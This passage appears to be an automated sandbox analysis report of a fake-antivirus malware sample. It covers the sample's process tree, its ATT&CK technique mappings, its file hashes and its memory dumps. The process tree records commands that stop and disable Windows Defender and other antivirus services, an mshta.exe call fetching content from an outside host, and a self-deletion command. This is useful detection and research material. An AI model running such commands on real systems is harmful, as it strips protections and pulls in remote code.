      C:\Users\Admin\AppData\Roaming\Protector-knlh.exe
      4⤵
      UAC bypass
      Event Triggered Execution: Image File Execution Options Injection
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Checks whether UAC is enabled
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2664
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=40&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=hedphpnjnr&14=1"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2416
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1276
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop msmpsvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2028
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config msmpsvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:112
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config ekrn start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1608
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop AntiVirService
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1516
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirSchedulerService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\B6THYN~1.EXE" >> NUL
      4⤵
      System Location Discovery: System Language Discovery
      PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe

Filesize
2.0MB

MD5
c5198aad190a58d59fa4cf9d548bc536

SHA1
bed2e67fc1ca223daad46f6ca4089cf1d5e33b08

SHA256
5f6f239087a40ff9025beffeecb6ecf0eb4c8f588ff0015b3ee9423f7ff5d804

SHA512
fc6a7593130cfa516866a5bd9b6bcc70ec853da5eda3256db6dc09cb8451aac74fbd1964a7a75eb967adf319f8c325b6cac5d9791d5bc24a7edcbc211791b1fc

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe

Filesize
2.0MB

MD5
d747f50d679159a5c8f70af8c6f1229a

SHA1
728b2cdbe38671c3f558dc4be90fd006339159df

SHA256
56c7e379cdc925ed01ce7e48d19c608c69bc565e6ec7d3d9670099d1dd5ea62b

SHA512
937f56d6bb1cad56e4fb916f46d5cdd02f5336f4511a28c1459095cf124ce61254efa518a0d0cd69102a44cc5255347d55f18100853dd0feaff96d775b453c68

Download Submit
memory/2512-32-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2512-20-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2512-29-0x0000000005260000-0x0000000005691000-memory.dmp

Filesize
4.2MB

Download
memory/2652-18-0x0000000003A00000-0x0000000003E31000-memory.dmp

Filesize
4.2MB

Download
memory/2652-17-0x0000000003A00000-0x0000000003E31000-memory.dmp

Filesize
4.2MB

Download
memory/2664-58-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-63-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-39-0x0000000004890000-0x00000000048A0000-memory.dmp

Filesize
64KB

Download
memory/2664-55-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-56-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-33-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-59-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-61-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-62-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-40-0x0000000004890000-0x00000000048A0000-memory.dmp

Filesize
64KB

Download
memory/2664-64-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-65-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-66-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-67-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-68-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-69-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-70-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download
memory/2664-71-0x0000000000400000-0x0000000000831000-memory.dmp

Filesize
4.2MB

Download